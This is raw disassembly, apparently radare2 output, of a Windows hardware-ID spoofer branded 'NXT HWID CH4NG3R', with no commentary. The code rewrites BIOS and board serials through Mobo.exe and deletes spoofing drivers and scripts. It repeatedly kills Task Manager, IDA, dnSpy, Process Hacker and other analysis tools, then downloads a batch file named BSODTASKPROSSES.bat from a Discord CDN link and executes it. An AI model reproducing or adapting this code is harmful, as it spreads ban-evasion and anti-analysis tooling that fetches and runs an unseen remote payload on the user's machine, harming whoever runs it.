lea rdx, str.C:WindowsSystem32Mobo.exe__ID__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2770]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2770]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2770]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2790]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2790]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2790]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPC__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x27b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x27b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x27b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CMH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x27d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x27d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x27d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CTH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x27f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x27f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x27f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CVH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2810]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2810]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2810]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2830]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2830]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2830]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CAH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2850]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2850]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2850]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__COH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2870]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2870]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2870]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CHH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2890]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2890]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2890]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPCH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x28b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x28b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x28b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSKH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x28d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x28d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x28d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x28f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x28f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x28f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2910]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2910]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2910]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__GAN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2930]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2930]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2930]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPIN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2950]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2950]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2950]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EAX__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2970]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2970]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2970]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EBX__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2990]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2990]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2990]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ECX__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x29b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x29b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x29b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EDX__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x29d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x29d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x29d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CIMV2__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x29f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x29f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x29f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMI__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2a10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2a10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2a10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMIC__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2a30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2a30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2a30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2a50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2a50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2a50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2a70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2a70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2a70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SV__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2a90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2a90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2a90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BV__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2ab0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2ab0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2ab0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2ad0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2ad0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2ad0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2af0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2af0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2af0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2b10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2b10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2b10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2b30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2b30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2b30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2b50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2b50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2b50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IV__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2b70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2b70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2b70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SM__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2b90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2b90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2b90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SP__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2bb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2bb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2bb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SF__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2bd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2bd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2bd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BM__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2bf0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2bf0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2bf0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BP__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2c10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2c10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2c10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BT__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2c30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2c30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2c30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2c50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2c50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2c50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CM__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2c70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2c70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2c70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CT__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2c90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2c90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2c90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CV_random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2cb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2cb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2cb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CA__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2cd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2cd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2cd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CO__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x3df0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3df0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3df0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x3e10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3e10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3e10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SK__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x3e30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3e30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3e30]
call fcn.14005d8e0
lea rdx, [0x140395420]
lea rcx, [rsp + 0x3e50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3e50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3e50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x3e70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3e70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3e70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x3e90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x3e90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x3e90]
call fcn.14005d8e0
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.1402b632c
lea rdx, str.Trials_Successfully_Reset._Enjoy_
lea rcx, [0x1404053e0]
call fcn.1400af0c0
mov qword [rsp + 0x1508], rax
lea rdx, [0x1400af650]
mov rcx, qword [rsp + 0x1508]
call fcn.1400abde0
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xaeb0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xae90]
call fcn.14005d9d0
lea rcx, [rsp + 0xae90]
call fcn.14005d8d0
mov qword [rsp + 0x1510], rax
lea rcx, [rsp + 0xaeb0]
call fcn.14005d8d0
mov qword [rsp + 0x1518], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1510]
mov rdx, qword [rsp + 0x1518]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
